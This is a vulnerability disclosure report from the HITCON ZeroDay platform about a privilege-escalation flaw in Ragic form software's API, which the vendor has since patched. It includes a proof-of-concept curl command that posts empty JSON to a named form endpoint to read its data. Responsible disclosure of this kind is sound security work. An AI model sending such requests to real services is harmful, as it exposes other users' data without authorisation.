Ragic 表單軟體擴權漏洞

Vulnerability Overview

ZDID: ZD-2023-00008
發信 Vendor: 立即科技 Ragic, Inc.
Title: Ragic 表單軟體擴權漏洞
Introduction: 表單軟體擴權漏洞，可以讀取並修改公開表單的所有資料

處理狀態

目前狀態

公開

Last Update : 2023/02/13

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2023/01/09 18:44:47 : 新提交 (由 hchou 更新此狀態)
2023/01/09 18:54:56 : 新提交 (由 hchou 更新此狀態)
2023/01/11 00:41:07 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/01/12 17:52:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/01/12 17:52:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/01/12 18:13:35 : 已修補 (由組織帳號更新此狀態)
2023/01/12 18:14:17 : 複測申請中 (由組織帳號更新此狀態)
2023/02/13 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2023-00008
通報者：hchou (hchou)
風險：高
類型：權限提升 (Privilege Escalation)

參考資料

攻擊者可利用此漏洞提升帳號權限，如其他使用者甚至管理者權限。

漏洞說明： OWASP - Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

漏洞說明： OWASP - Testing for Privilege escalation (OTG-AUTHZ-003)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)

漏洞說明： CWE - Privilege
https://cwe.mitre.org/data/definitions/901.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

Ragic更新用的API有擴權的漏洞，可以讀取並修改公開表單的所有資料

以下這張表單為例
https://ap8.ragic.com/sec235/forms/1

只需要Post空白JSON，就能夠取得資料
curl --request POST 'https://ap8.ragic.com/sec235/forms/1/6' --header 'Content-Type: application/json' --data-raw '{}'.

修補建議

API需檢查使用者權限

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

Ragic 表單軟體擴權漏洞 - HITCON ZeroDay

Vulnerability Detail Report